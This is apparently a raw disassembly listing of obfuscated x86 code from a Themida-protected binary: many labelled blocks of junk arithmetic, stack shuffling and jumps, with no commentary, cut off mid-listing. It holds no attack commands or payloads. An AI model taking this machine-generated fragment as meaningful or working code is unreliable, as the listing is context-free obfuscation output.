Themida_:005AEB8Aj pop ecx pop dword ptr [esp] mov esp, [esp] shl word ptr [esp], cl pushf jmp loc_59838C ; --------------------------------------------------------------------------- loc_5AE56A: ; CODE XREF: Themida_:0059B831j pop esi and eax, ecx jmp loc_5ACAE1 ; --------------------------------------------------------------------------- loc_5AE572: ; CODE XREF: Themida_:005A53ECj xchg edi, [esp] mov esp, [esp] mov [esp], dx push ax pushf jmp loc_59838C ; --------------------------------------------------------------------------- mov ax, [esp] push ebp push esp jmp loc_5A54EA ; --------------------------------------------------------------------------- loc_5AE58F: ; CODE XREF: Themida_:005AA2F8j pop eax add ebx, edi jmp loc_59AF5D ; --------------------------------------------------------------------------- loc_5AE597: ; CODE XREF: Themida_:0059FBA7j jmp loc_5ADF8A ; --------------------------------------------------------------------------- loc_5AE59C: ; CODE XREF: Themida_:loc_59FE36j ; Themida_:005AAF05j add eax, edx jmp loc_5A6DB5 ; --------------------------------------------------------------------------- loc_5AE5A3: ; CODE XREF: Themida_:0059B84Bj dec cx not cx sub cx, 343Ch xor cx, 7182h add si, cx pop ecx jmp loc_5A9E3B ; --------------------------------------------------------------------------- loc_5AE5BB: ; CODE XREF: Themida_:005987C9j add esp, 4 jmp loc_5A51FC ; --------------------------------------------------------------------------- loc_5AE5C6: ; CODE XREF: Themida_:0059D27Aj ; Themida_:005AC647j push 652Ah mov [esp], ebx push dword ptr [esp+4] jmp loc_598EBA ; --------------------------------------------------------------------------- loc_5AE5D7: ; CODE XREF: Themida_:005A207Cj pop ebp mov ecx, edi mov edi, [esp] add esp, 4 sub ebp, 232015CFh sub ebp, ecx push edi mov edi, 3A0F1623h dec edi not edi jmp loc_5987F4 ; --------------------------------------------------------------------------- loc_5AE5F6: ; CODE XREF: Themida_:0059D322j mov eax, edx pop edx add esi, eax pop eax push edx push esp pop edx push esi mov esi, 4 sub edx, 77427A6h jmp loc_5A086D ; --------------------------------------------------------------------------- loc_5AE610: ; CODE XREF: Themida_:loc_59CB19j ; Themida_:005AE405j sub esp, 4 mov [esp], edi push ecx jmp loc_59D9CF ; --------------------------------------------------------------------------- loc_5AE61F: ; CODE XREF: Themida_:005A03C0j push esp mov esi, [esp] add esp, 4 push 875h jmp loc_5A2DC5 ; --------------------------------------------------------------------------- loc_5AE630: ; CODE XREF: Themida_:00598FE5j push esp pop ecx add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp xor eax, esi xor esi, eax xor eax, esi sub esp, 4 mov [esp], edi jmp loc_5ACBDD ; --------------------------------------------------------------------------- loc_5AE653: ; CODE XREF: Themida_:0059CD7Bj mov eax, [esp] add esp, 4 sub esp, 2 mov [esp], ax mov al, 5Bh and bh, al mov ax, [esp] add esp, 2 sub esp, 2 mov [esp], cx mov cl, 1 jmp loc_5AB5FC ; --------------------------------------------------------------------------- loc_5AE682: ; CODE XREF: Themida_:005A9AD5j pop esi xchg edi, [esp] pop esp jmp loc_5A9E9D ; --------------------------------------------------------------------------- loc_5AE68C: ; CODE XREF: Themida_:005A445Ej ; Themida_:005AC6D8j xor ebp, 0EDCB5072h add esi, ebp jmp loc_5A25F9 ; --------------------------------------------------------------------------- loc_5AE699: ; CODE XREF: Themida_:005AEF80j jp loc_5A140C inc ecx jmp loc_5A8CF2 ; --------------------------------------------------------------------------- loc_5AE6A5: ; CODE XREF: Themida_:005A5DB9j mov ebp, esp add ebp, 4 push edx mov edx, 60B7535Eh sub edx, 14B4270Bh not edx inc edx sub edx, 57AC169Ah shr edx, 4 add edx, 0FA3AF433h add ebp, edx pop edx xchg ebp, [esp] pop esp push ebp jmp loc_59FE81 ; --------------------------------------------------------------------------- loc_5AE6D8: ; CODE XREF: Themida_:00598EA3j add ebx, 315E3068h jmp loc_5A379B ; --------------------------------------------------------------------------- loc_5AE6E3: ; CODE XREF: Themida_:005AF4F7j push esp pop eax push edx push eax push 55872A44h pop eax add eax, 21152719h jmp loc_5AD4AD ; --------------------------------------------------------------------------- loc_5AE6F7: ; CODE XREF: Themida_:0059C7C4j xchg ebp, ebx inc ebp xchg ebp, ebx or ebx, 2FE00B9Fh jmp loc_5A2F81 ; --------------------------------------------------------------------------- loc_5AE707: ; CODE XREF: Themida_:00599D04j or dh, 7Eh jmp loc_5A3257 ; --------------------------------------------------------------------------- loc_5AE70F: ; CODE XREF: Themida_:005A44A7j ; Themida_:005A935Bj ... mov esi, 46E03866h add ebx, 30101C64h add ebx, esi jmp loc_59BFA3 ; --------------------------------------------------------------------------- loc_5AE721: ; CODE XREF: Themida_:005A2A52j mov edi, 800h mov esi, edi pop edi and eax, esi pop esi jmp loc_59B23A ; --------------------------------------------------------------------------- loc_5AE731: ; CODE XREF: Themida_:005A3679j xor esi, [esp] mov esp, [esp] xor [esp], ax pushf jmp loc_59838C ; --------------------------------------------------------------------------- loc_5AE741: ; CODE XREF: Themida_:0059FF5Fj inc edx add edx, 4EED0F75h add edx, 0FDB2A38Fh add esi, edx pop edx mov edx, esi pop esi sub esi, 1305770Ch jmp loc_599C57 ; --------------------------------------------------------------------------- loc_5AE75F: ; CODE XREF: Themida_:005A2372j ; Themida_:loc_5AA74Aj mov cx, [esp] push 25B3h mov [esp], ebx push esp mov ebx, [esp] add esp, 4 jmp loc_5A202A ; --------------------------------------------------------------------------- loc_5AE77A: ; CODE XREF: Themida_:0059AA1Aj add ebp, 20760BFDh jmp loc_5A7D28 ; --------------------------------------------------------------------------- loc_5AE785: ; CODE XREF: Themida_:0059F0CAj or edi, edx pop edx shl edi, 3 push esi mov esi, 3ACA5C50h and esi, 16F77C4Eh xor esi, 7C4D0649h add esi, 1C39495Bh sub edi, esi jmp loc_599D2D ; --------------------------------------------------------------------------- loc_5AE7AA: ; CODE XREF: Themida_:005A5FB6j push 2A92h jmp loc_5ADE87 ; --------------------------------------------------------------------------- loc_5AE7B4: ; CODE XREF: Themida_:0059F425j pop esp jmp loc_5A1AC6 ; --------------------------------------------------------------------------- loc_5AE7BA: ; CODE XREF: Themida_:0059D608j push 3A8776FDh pop ebx xchg esi, ebx not esi xchg esi, ebx sub ebx, 3ACB7227h sub ebx, 57B9037Bh xor ecx, ebx pop ebx mov ebx, [esp] add esp, 4 jmp loc_5A8A14 ; --------------------------------------------------------------------------- loc_5AE7E3: ; CODE XREF: Themida_:00599158j ; Themida_:005A6075j add esp, 4 jmp loc_5A164B ; --------------------------------------------------------------------------- loc_5AE7EB: ; CODE XREF: Themida_:0059E3E3j push esi jmp loc_5AB10D ; --------------------------------------------------------------------------- loc_5AE7F1: ; CODE XREF: Themida_:005A0CF2j add esi, 22FB569Bh add esi, 99CF4673h jmp loc_5A330D ; --------------------------------------------------------------------------- loc_5AE802: ; CODE XREF: Themida_:005A5645j mov [esp], eax jmp loc_5999B3 ; --------------------------------------------------------------------------- loc_5AE80A: ; CODE XREF: Themida_:0059B1A1j push dword ptr [esp] mov eax, [esp] push esi jmp loc_5A40F9 ; --------------------------------------------------------------------------- push dword ptr [esp] mov ecx, [esp] add esp, 4 sub esp, 4 mov [esp], ebx push esp mov ebx, [esp] add esp, 4 jmp loc_5A609B ; --------------------------------------------------------------------------- loc_5AE837: ; CODE XREF: Themida_:005A39F3j jmp loc_59AB8C ; --------------------------------------------------------------------------- loc_5AE83C: ; CODE XREF: Themida_:005A7046j sub eax, 6EB4002Bh jmp loc_5AA574 ; --------------------------------------------------------------------------- loc_5AE846: ; CODE XREF: Themida_:005A0532j mov [esp], eax jmp loc_5AD775 ; --------------------------------------------------------------------------- loc_5AE84E: ; CODE XREF: Themida_:005A1E92j push eax jmp loc_599A36 ; --------------------------------------------------------------------------- loc_5AE854: ; CODE XREF: Themida_:0059DAF0j add edx, esi jmp loc_59E3F5 ; --------------------------------------------------------------------------- loc_5AE85B: ; CODE XREF: Themida_:005A750Bj push 49B44248h pop ebx neg ebx js loc_5A852D shr ebx, 5 dec ebx jle loc_5ACE0E loc_5AE873: ; CODE XREF: Themida_:005A6E75j sub edx, 7A700002h sub ebp, edx pop edx add ebp, 433C0519h or ebp, 4BF5051Dh and ebp, 3747B4Fh shr ebp, 3 xor ebp, 6D0E8211h xor ecx, ebp pop ebp sub [eax], ecx pop ecx jmp loc_59838C ; --------------------------------------------------------------------------- loc_5AE8A2: ; CODE XREF: Themida_:loc_5A8355j inc ebx jmp loc_5AD498 ; --------------------------------------------------------------------------- loc_5AE8A8: ; CODE XREF: Themida_:005A566Dj ; Themida_:005AECC4j add esi, 1A0010A6h add ebx, esi jmp loc_5A133C ; --------------------------------------------------------------------------- loc_5AE8B5: ; CODE XREF: Themida_:005A8350j mov bl, cl push dword ptr [esp] pop ecx add esp, 4 jmp loc_5AE495 ; --------------------------------------------------------------------------- loc_5AE8C3: ; CODE XREF: Themida_:0059E21Dj not ebp inc ebp xor ebp, 0B336FB8Dh mov edi, ebp pop ebp add ebp, 72DC5BC4h add ebp, 4B13532h sub ebp, edi push ebx jmp loc_5AAD17 ; --------------------------------------------------------------------------- loc_5AE8E3: ; CODE XREF: Themida_:005A8392j neg ebx jmp loc_5AB2F9 ; --------------------------------------------------------------------------- loc_5AE8EA: ; CODE XREF: Themida_:005AABEEj mov esi, [esp] add esp, 4 push 3185h jmp loc_5A9DC6 ; --------------------------------------------------------------------------- loc_5AE8FA: ; CODE XREF: Themida_:005A580Fj pop esi jmp loc_5AF2DC ; --------------------------------------------------------------------------- loc_5AE900: ; CODE XREF: Themida_:005A247Fj add eax, 4CBE5BD6h jle loc_5A138F xor eax, 17D19C7h jmp loc_5A3F09 ; --------------------------------------------------------------------------- loc_5AE915: ; CODE XREF: Themida_:005AEAD8j or edx, 5364234Bh ja loc_5A5667 and edx, 4D2E72A6h jmp loc_5AE057 ; --------------------------------------------------------------------------- mov ah, bl loc_5AE92E: ; CODE XREF: Themida_:005A6C84j xor ebx, ebp jmp loc_5A8C0B ; --------------------------------------------------------------------------- loc_5AE935: ; CODE XREF: Themida_:0059FD17j xor edi, 7A376811h sub edi, 53F41A9Dh jmp loc_59E1D8 ; --------------------------------------------------------------------------- loc_5AE946: ; CODE XREF: Themida_:005A56B2j ; Themida_:005AB84Fj mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_59B0B3 ; --------------------------------------------------------------------------- loc_5AE959: ; CODE XREF: Themida_:005ABC90j jmp loc_5A9216 ; --------------------------------------------------------------------------- loc_5AE95E: ; CODE XREF: Themida_:005A3ECEj sub eax, ebx jmp loc_5A4BE2 ; --------------------------------------------------------------------------- loc_5AE965: ; CODE XREF: Themida_:0059FAEAj push ebx jmp loc_5AD0C8 ; --------------------------------------------------------------------------- loc_5AE96B: ; CODE XREF: Themida_:0059F777j push esp jmp loc_59BA9C ; --------------------------------------------------------------------------- loc_5AE971: ; CODE XREF: Themida_:0059B6C4j push ebp mov ebp, 1BE84A55h jmp loc_5A6B46 ; --------------------------------------------------------------------------- loc_5AE97C: ; CODE XREF: Themida_:0059F01Dj pop edi sub ebx, 57FF6050h add ebx, edi add ebx, 57FF6050h pop edi sub edi, ebx push dword ptr [esp] pop ebx add esp, 4 add ebx, edi jmp loc_59B40B ; --------------------------------------------------------------------------- lodsd xor eax, ebx push ecx push 6863h mov [esp], edi push 63C2A251h mov edi, [esp] add esp, 4 push edi jmp loc_59AC9C ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcr word ptr [esp], cl pushf jmp loc_59838C ; --------------------------------------------------------------------------- loc_5AE9CC: ; CODE XREF: Themida_:0059A13Dj mov [esp], edi push 388Ch jmp loc_5A4C28 ; --------------------------------------------------------------------------- loc_5AE9D9: ; CODE XREF: Themida_:005A6BCFj push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] mov esp, [esp] mov [esp], ecx mov ecx, esp add ecx, 4 push 6503h mov [esp], esi jmp loc_5A6A00 ; --------------------------------------------------------------------------- loc_5AEA03: ; CODE XREF: Themida_:0059C3DAj jmp loc_59838C ; --------------------------------------------------------------------------- loc_5AEA08: ; CODE XREF: Themida_:005A1BAAj mov ecx, 25E47F66h or ebx, ecx pop ecx jmp loc_5AE12D ; --------------------------------------------------------------------------- loc_5AEA15: ; CODE XREF: Themida_:005A0C0Aj push 4A4715D4h mov ecx, [esp] push esi jmp loc_5AF3CB ; --------------------------------------------------------------------------- loc_5AEA23: ; CODE XREF: Themida_:005A0AA4j add ebx, 4 xchg ebx, [esp] pop esp sub eax, edi pop edi add eax, edx push 60A8h mov [esp], edx push eax push 731B05C3h pop eax add eax, 0AA071230h jmp loc_5A3EB1 ; --------------------------------------------------------------------------- loc_5AEA48: ; CODE XREF: Themida_:005A7563j jz loc_5A5EB6 shl ebx, 1 jnp loc_59B7E4 push eax push ecx push 3DE5712Fh pop ecx jmp loc_5A6822 ; --------------------------------------------------------------------------- loc_5AEA63: ; CODE XREF: Themida_:005AC8A4j push edx push esp pop edx jmp loc_5A69DD ; --------------------------------------------------------------------------- loc_5AEA6B: ; CODE XREF: Themida_:0059A904j sub ch, 45h pop edx add dh, ch pop ecx push dword ptr [esp] mov eax, [esp] add esp, 4 push 616Ch mov [esp], edx mov edx, esp add edx, 4 push eax mov eax, 6A5F66F0h neg eax ja loc_5A7D10 jmp loc_5A1F3B ; --------------------------------------------------------------------------- loc_5AEA9E: ; CODE XREF: Themida_:005AC146j add edx, 0EE508F90h xor eax, edx pop edx jmp loc_5A2013 ; --------------------------------------------------------------------------- loc_5AEAAC: ; CODE XREF: Themida_:0059FBADj xor ebx, 58616B55h jmp loc_5A8122 ; --------------------------------------------------------------------------- loc_5AEAB7: ; CODE XREF: Themida_:005A409Fj jmp loc_59838C ; --------------------------------------------------------------------------- loc_5AEABC: ; CODE XREF: Themida_:0059FF40j sub esi, 42150DA5h xor edx, esi pop esi jmp loc_599EA3 ; --------------------------------------------------------------------------- loc_5AEACA: ; CODE XREF: Themida_:005ABA54j pop eax jmp loc_59BB65 ; --------------------------------------------------------------------------- loc_5AEAD0: ; CODE XREF: Themida_:005A28E9j not edx and edx, 20E166D1h jz loc_5AE915 or edx, 5364234Bh ja loc_59AC24 and edx, 4D2E72A6h jmp loc_5A4BDB ; --------------------------------------------------------------------------- loc_5AEAF5: ; CODE XREF: Themida_:005AC26Aj ; Themida_:005AE1DBj add eax, ecx pop ecx jmp loc_598B4C ; --------------------------------------------------------------------------- loc_5AEAFD: ; CODE XREF: Themida_:005AC675j pop dword ptr [esp] mov esp, [esp] mov [esp], eax jmp loc_59838C ; --------------------------------------------------------------------------- loc_5AEB0B: ; CODE XREF: Themida_:0059F1EBj pop ebx sub bl, ch mov cx, [esp] add esp, 2 movzx eax, al push dword ptr [edi+eax*4] push dword ptr [esp] push dword ptr [esp] pop eax jmp loc_5A623F ; --------------------------------------------------------------------------- loc_5AEB2A: ; CODE XREF: Themida_:005AB2B5j mov eax, 0 add eax, edx add dword ptr [eax], 1 pop eax jmp loc_5A9606 ; --------------------------------------------------------------------------- loc_5AEB3D: ; CODE XREF: Themida_:0059FDEAj mov ebx, esi pop esi sub ebx, 7B664954h dec ebx jns loc_5A0A71 add ebx, 0A7672EEh jno loc_5A8355 jmp loc_59B172 ; --------------------------------------------------------------------------- mov esp, [esp] jmp loc_59F065 ; --------------------------------------------------------------------------- mov ch, al loc_5AEB68: ; CODE XREF: Themida_:005AB91Aj mov [esp], esp add dword ptr [esp], 4 pop ebp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp pop dword ptr [esp] mov esp, [esp] mov [esp], ecx push dword ptr [esp+4] jmp loc_5AE559 ; --------------------------------------------------------------------------- loc_5AEB8F: ; CODE XREF: Themida_:005A00E6j pop ebp push esi push edi jmp loc_59FB20 ; --------------------------------------------------------------------------- loc_5AEB97: ; CODE XREF: Themida_:005A096Cj push ecx mov ecx, 3C91C503h add ebp, ecx pop ecx xchg esi, ebp xchg ecx, esi not ecx push esi push ecx pop esi pop ecx xchg esi, ebp add ebp, 8A7C5562h push ebp mov ebp, 5EAF2219h add ebx, ebp jmp loc_5A01CC ; --------------------------------------------------------------------------- loc_5AEBBF: ; CODE XREF: Themida_:005A20DDj dec edi sub esp, 4 jmp loc_5A32D0 ; --------------------------------------------------------------------------- loc_5AEBCB: ; CODE XREF: Themida_:00598F63j add eax, 2B02D5Bh add eax, ebx sub eax, 2B02D5Bh add eax, 38285947h jmp loc_5AAC15 ; --------------------------------------------------------------------------- loc_5AEBE1: ; CODE XREF: Themida_:005A7E12j jmp loc_59AE38 ; --------------------------------------------------------------------------- loc_5AEBE6: ; CODE XREF: Themida_:0059F408j sub [esp+0Ch], edi pop edi jmp loc_5A72F8 ; --------------------------------------------------------------------------- loc_5AEBF0: ; CODE XREF: Themida_:005A01E0j ; Themida_:005A67F8j add edx, 4 jmp loc_5A1AE5 ; --------------------------------------------------------------------------- loc_5AEBF8: ; CODE XREF: Themida_:005A39CEj add dword ptr [esp], 51DB57A0h pop edi sub edi, 51DB57A0h pop ebp mov eax, [esp] add esp, 4 mov edx, [esp] add esp, 4 jmp loc_5AED5D ; --------------------------------------------------------------------------- loc_5AEC18: ; CODE XREF: Themida_:005993FCj jmp loc_5AB444 ; --------------------------------------------------------------------------- loc_5AEC1D: ; CODE XREF: Themida_:005A84D5j jp loc_59A1D6 jmp loc_5AECF7 ; --------------------------------------------------------------------------- loc_5AEC28: ; CODE XREF: Themida_:005ACEDBj mov ecx, 5FA903A0h shr ecx, 6 xor ecx, 7295943Eh add edx, ecx mov ecx, [esp] add esp, 4 pop ebp jmp loc_59C912 ; --------------------------------------------------------------------------- loc_5AEC47: ; CODE XREF: Themida_:005A91DEj push 3AD3h mov [esp], ebx mov ebx, 7F687310h push 0B4Fh mov [esp], esi mov esi, 6D597893h sub ebx, esi pop esi shr ebx, 6 push 55BEh mov [esp], esi push edi mov edi, 317B4A3Bh shl edi, 5 not edi and edi, 7B02644h jmp loc_5AA787 ; --------------------------------------------------------------------------- loc_5AEC85: ; CODE XREF: Themida_:005AAC93j add esi, 38682825h jmp loc_59E6CF ; --------------------------------------------------------------------------- loc_5AEC90: ; CODE XREF: Themida_:005A85B1j or ebx, 75B9602Fh xchg ecx, ebx not ecx xchg ecx, ebx xor ebx, 6DC41986h push edx jmp loc_5989BA ; --------------------------------------------------------------------------- loc_5AECA8: ; CODE XREF: Themida_:005A88ECj sub eax, 0FFFFFFFFh shr eax, 6 jz loc_5A1FE8 push ecx mov ecx, 25E97A6Fh not ecx jmp loc_59C896 ; --------------------------------------------------------------------------- loc_5AECC3: ; CODE XREF: Themida_:0059C552j pop esi jmp loc_5AE8A8 ; --------------------------------------------------------------------------- loc_5AECC9: ; CODE XREF: Themida_:005AAD50j push ebx jmp loc_5AE09E ; --------------------------------------------------------------------------- loc_5AECCF: ; CODE XREF: Themida_:0059DB0Aj add ebp, 0F774A9B5h mov eax, ebp pop ebp mov edx, eax pop eax xor [esp+4], edx push dword ptr [esp] pop edx push eax jmp loc_5A50D9 ; --------------------------------------------------------------------------- loc_5AECE9: ; CODE XREF: Themida_:005A454Fj sub eax, edx pop edx pop edi add eax, 4 jmp loc_5AA04D ; --------------------------------------------------------------------------- loc_5AECF7: ; CODE XREF: Themida_:005A899Fj ; Themida_:005AEC23j mov edx, 3BC53F98h push ebp mov ebp, 3A8667B0h add edx, ebp push dword ptr [esp] jmp loc_5A9C5A ; --------------------------------------------------------------------------- loc_5AED0C: ; CODE XREF: Themida_:loc_5A8C06j add ebx, 0F9A763ECh jmp loc_5A62DA ; --------------------------------------------------------------------------- loc_5AED17: ; CODE XREF: Themida_:005A733Aj push ebp push eax mov eax, 1E0F1E36h push eax add dword ptr [esp], 3125AB9h jmp loc_599B2E ; --------------------------------------------------------------------------- loc_5AED2B: ; CODE XREF: Themida_:005A26BEj push ebx mov bl, ch push ecx mov cl, bl jmp loc_5A6EA7 ; --------------------------------------------------------------------------- loc_5AED36: ; CODE XREF: Themida_:0059AED4j shl ebx, 5 jmp loc_59E051 ; --------------------------------------------------------------------------- loc_5AED3E: ; CODE XREF: Themida_:005A90D7j xor [esp], ebx jmp loc_59A97E ; --------------------------------------------------------------------------- loc_5AED46: ; CODE XREF: Themida_:00598419j xor esi, 0A820A029h mov ecx, esi mov esi, [esp] add esp, 4 push esi jmp loc_59ADB4 ; --------------------------------------------------------------------------- loc_5AED5D: ; CODE XREF: Themida_:005AEC13j add eax, 3F550B80h add eax, edi push 5E91h mov [esp], edx mov edx, 2C685C88h jmp loc_5A58B8 ; --------------------------------------------------------------------------- loc_5AED76: ; CODE XREF: Themida_:00598912j xchg ecx, [esp] jmp loc_5A3947 ; --------------------------------------------------------------------------- loc_5AED7E: ; CODE XREF: Themida_:loc_5985C3j ; Themida_:005AD2FEj mov bh, 82h shr bh, 8 js loc_5A7EB6 neg bh dec bh xor bh, 0D7h jle loc_5AEF85 jmp loc_59D7F2 ; --------------------------------------------------------------------------- loc_5AED9B: ; CODE XREF: Themida_:0059ECD7j xor ebx, edx pop edx xor ebx, 778BFBC2h jmp loc_59BC4B ; --------------------------------------------------------------------------- loc_5AEDA9: ; CODE XREF: Themida_:005A1B1Dj add edi, 1FFE511Eh jmp loc_5A2BAD ; --------------------------------------------------------------------------- loc_5AEDB4: ; CODE XREF: Themida_:005985BEj mov ecx, 3AAA4A2Eh mov edx, ecx pop ecx add ebx, edx jmp loc_5A07EB ; --------------------------------------------------------------------------- loc_5AEDC3: ; CODE XREF: Themida_:loc_5A3384j sub eax, 0E67B9BB1h mov ecx, eax mov eax, [esp] jmp loc_5A31C9 ; --------------------------------------------------------------------------- loc_5AEDD2: ; CODE XREF: Themida_:005A35DAj ; Themida_:005AF318j mov esi, 53373DB6h and esi, 12205F81h jmp loc_5A5672 ; --------------------------------------------------------------------------- loc_5AEDE2: ; CODE XREF: Themida_:005AAD99j inc eax sub eax, 5842258Dh add edx, eax pop eax jmp loc_5AC568 ; --------------------------------------------------------------------------- loc_5AEDF0: ; CODE XREF: Themida_:005A4568j mov edi, 4 add eax, edi jmp loc_5A51DC ; --------------------------------------------------------------------------- loc_5AEDFC: ; CODE XREF: Themida_:005A2ECEj or edi, 6E891EE9h dec edi push eax mov eax, 1 sub edi, eax pop eax push ebx push esp pop ebx jmp loc_59F9B2 ; --------------------------------------------------------------------------- loc_5AEE14: ; CODE XREF: Themida_:005A0A3Ej xchg ecx, [esp] pop esp mov [esp], eax mov eax, 2ADB50D5h push 0 sub [esp], eax jmp loc_5A4A14 ; --------------------------------------------------------------------------- loc_5AEE2D: ; CODE XREF: Themida_:00598B21j pop eax dec ebx xor ebx, 55D5AE63h sub ebp, ebx mov ebx, [esp] add esp, 4 add ebp, 415E6D59h pop ebx xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] imul cx push edi jmp loc_59FBB7 ; --------------------------------------------------------------------------- loc_5AEE59: ; CODE XREF: Themida_:005A9729j add eax, 475D42F3h jnp loc_599D18 add eax, 71412064h jnb loc_5ADD25 mov ch, dh pop esi loc_5AEE72: ; CODE XREF: Themida_:0059B355j mov al, 51h xor al, dl jmp loc_59CEFF ; --------------------------------------------------------------------------- loc_5AEE7B: ; CODE XREF: Themida_:005A9660j push dword ptr [esp+4] mov ecx, [esp] sub esp, 4 mov [esp], ecx mov ecx, esp add ecx, 4 push ebx mov ebx, 4 add ecx, ebx mov ebx, [esp] jmp loc_59890C ; --------------------------------------------------------------------------- loc_5AEEA3: ; CODE XREF: Themida_:005A42F0j pop eax mov ebp, [esp] add esp, 4 push edi push eax mov eax, ecx mov edi, eax pop eax sub esp, 4 mov [esp], ecx push ebx mov ebx, edi jmp loc_5A388E ; --------------------------------------------------------------------------- loc_5AEEC5: ; CODE XREF: Themida_:005AB050j pop edx xor edx, 5C69089Ah mov ebx, edx pop edx jmp loc_59DEE2 ; --------------------------------------------------------------------------- loc_5AEED4: ; CODE XREF: Themida_:005AF122j xor eax, 75862CF9h push edx jmp loc_5A2178 ; --------------------------------------------------------------------------- loc_5AEEDF: ; CODE XREF: Themida_:005A941Aj push edx mov edx, 3C2279BCh jmp loc_5A20A4 ; --------------------------------------------------------------------------- loc_5AEEEA: ; CODE XREF: Themida_:005A979Bj shr eax, 7 shr eax, 1 shr eax, 2 sub eax, 375D70h add ebp, eax pop eax sub ebp, 4 sub esp, 4 jmp loc_5AE238 ; --------------------------------------------------------------------------- loc_5AEF0B: ; CODE XREF: Themida_:0059E7F4j mov [esp], esi push 561701C2h pop esi shr esi, 7 sub esi, 3F7B2804h jge loc_59E4AE sub esp, 4 jmp loc_59DE7E ; --------------------------------------------------------------------------- loc_5AEF2B: ; CODE XREF: Themida_:0059F6E4j pop esp jmp loc_59985D ; --------------------------------------------------------------------------- loc_5AEF31: ; CODE XREF: Themida_:005A0F38j sub ebx, 1000C09Bh and eax, ebx push dword ptr [esp] jmp loc_5A9E49 ; --------------------------------------------------------------------------- loc_5AEF41: ; CODE XREF: Themida_:005A11A8j not ecx sub ecx, 0AAF22ABh sub eax, ecx pop ecx jmp loc_59B7CB ; --------------------------------------------------------------------------- loc_5AEF51: ; CODE XREF: Themida_:loc_5A5D9Ej ; Themida_:005AAD0Aj add edx, 0C757B78h jbe loc_5A6962 xor edx, 2DD67E54h mov eax, edx jmp loc_5999B8 ; --------------------------------------------------------------------------- loc_5AEF6A: ; CODE XREF: Themida_:0059D4D6j mov edx, esp jmp loc_5A9B0F ; --------------------------------------------------------------------------- loc_5AEF71: ; CODE XREF: Themida_:005AC4BDj and ecx, 4355281Dh jp loc_5A84D2 shr ecx, 4 jmp loc_5AE699 ; --------------------------------------------------------------------------- loc_5AEF85: ; CODE XREF: Themida_:005AD75Bj ; Themida_:005AED90j mov ebx, 4B7D7A9Bh xor ebx, 0B4828564h jmp loc_5A6406 ; --------------------------------------------------------------------------- loc_5AEF95: ; CODE XREF: Themida_:005A14A8j not ebx add ebx, 1 push edi mov edi, 77623554h or ebx, edi pop edi jmp loc_5A9894 ; --------------------------------------------------------------------------- loc_5AEFA8: ; CODE XREF: Themida_:005A0BFEj xchg edx, ebp jmp loc_5A0E21 ; --------------------------------------------------------------------------- loc_5AEFAF: ; CODE XREF: Themida_:005AC1EEj mov ecx, esp add ecx, 4 jmp loc_5A6CA2 ; --------------------------------------------------------------------------- loc_5AEFBC: ; CODE XREF: Themida_:0059D849j pop esp jmp loc_5A57F9 ; --------------------------------------------------------------------------- loc_5AEFC2: ; CODE XREF: Themida_:0059B49Bj pop esp jmp loc_5AC94A ; --------------------------------------------------------------------------- loc_5AEFC8: ; CODE XREF: Themida_:005AB39Dj add dl, bh pop bx neg dl add dl, 42h not dl sub dl, 37h or ch, dl pop edx jmp loc_5AD438 ; --------------------------------------------------------------------------- loc_5AEFDE: ; CODE XREF: Themida_:005A3C78j ; Themida_:005A6606j push dword ptr [esp] pop ecx add esp, 4 jmp loc_5A1835 ; --------------------------------------------------------------------------- loc_5AEFED: ; CODE XREF: Themida_:005AB62Fj and edx, 389443D8h add edx, 0F4C969C2h and edi, edx mov edx, [esp] push 504Fh mov [esp], ecx mov ecx, esp add ecx, 4 jmp loc_59A25A ; --------------------------------------------------------------------------- loc_5AF013: ; CODE XREF: Themida_:005A9060j push ecx mov ecx, esp jmp loc_59B88F ; --------------------------------------------------------------------------- mov ax, [esp] push 23F1h mov [esp], esi push esp push dword ptr [esp] pop esi push edi mov edi, esp add edi, 4 add edi, 4 jmp loc_5A27A7 ; --------------------------------------------------------------------------- loc_5AF040: ; CODE XREF: Themida_:0059F845j ; Themida_:005AE231j push edx mov dl, 32h shl dl, 6 xor dl, 87h push eax mov al, 59h jmp loc_5A950D ; --------------------------------------------------------------------------- loc_5AF051: ; CODE XREF: Themida_:0059CBF0j not dh jmp loc_5AB550 ; --------------------------------------------------------------------------- loc_5AF058: ; CODE XREF: Themida_:00599EFCj jl loc_599334 xor esi, 22EC2184h mov [edx+30h], esi mov esi, [esp] add esp, 4 jmp loc_5AC2EB ; --------------------------------------------------------------------------- loc_5AF075: ; CODE XREF: Themida_:005A4E64j push ebp jmp loc_5AA599 ; --------------------------------------------------------------------------- loc_5AF07B: ; CODE XREF: Themida_:005AB74Fj jmp loc_5A8FF6 ; --------------------------------------------------------------------------- loc_5AF080: ; CODE XREF: Themida_:005A3263j xor dh, 0B2h jmp loc_5A7F76 ; --------------------------------------------------------------------------- loc_5AF088: ; CODE XREF: Themida_:00598A52j sub cl, 31h add cl, 64h sub cl, ah sub cl, 64h jmp loc_5A63FA ; --------------------------------------------------------------------------- loc_5AF098: ; CODE XREF: Themida_:005A599Fj push 0C46h mov [esp], esp jmp loc_5AAF0A ; --------------------------------------------------------------------------- loc_5AF0A5: ; CODE XREF: Themida_:0059E83Bj pop esp mov [esp], cx mov ch, bh jmp loc_5AF58E ; --------------------------------------------------------------------------- loc_5AF0B1: ; CODE XREF: Themida_:005A76C8j jmp loc_59838C ; --------------------------------------------------------------------------- loc_5AF0B6: ; CODE XREF: Themida_:00599525j add edx, 4 xchg edx, [esp] pop esp add esp, 4 push ebp mov ebp, esp jmp loc_5A8514 ; --------------------------------------------------------------------------- loc_5AF0CB: ; CODE XREF: Themida_:005A30B7j xor edi, [esp] mov esp, [esp] ror byte ptr [esp], cl pushf jmp loc_59DCEA ; --------------------------------------------------------------------------- loc_5AF0DA: ; CODE XREF: Themida_:0059B294j push ecx mov ecx, esp add ecx, 4 jmp loc_5AAAF4 ; --------------------------------------------------------------------------- loc_5AF0E8: ; CODE XREF: Themida_:005ABAF4j pop esi add ebp, 4 xchg ebp, [esp] jmp loc_5A3F45 ; --------------------------------------------------------------------------- loc_5AF0F4: ; CODE XREF: Themida_:005A5EA9j push edi mov edi, 4 sub ebp, 0B640564h sub ebp, edi add ebp, 0B640564h jmp loc_5A3FC5 ; --------------------------------------------------------------------------- loc_5AF10D: ; CODE XREF: Themida_:0059C5A3j ; 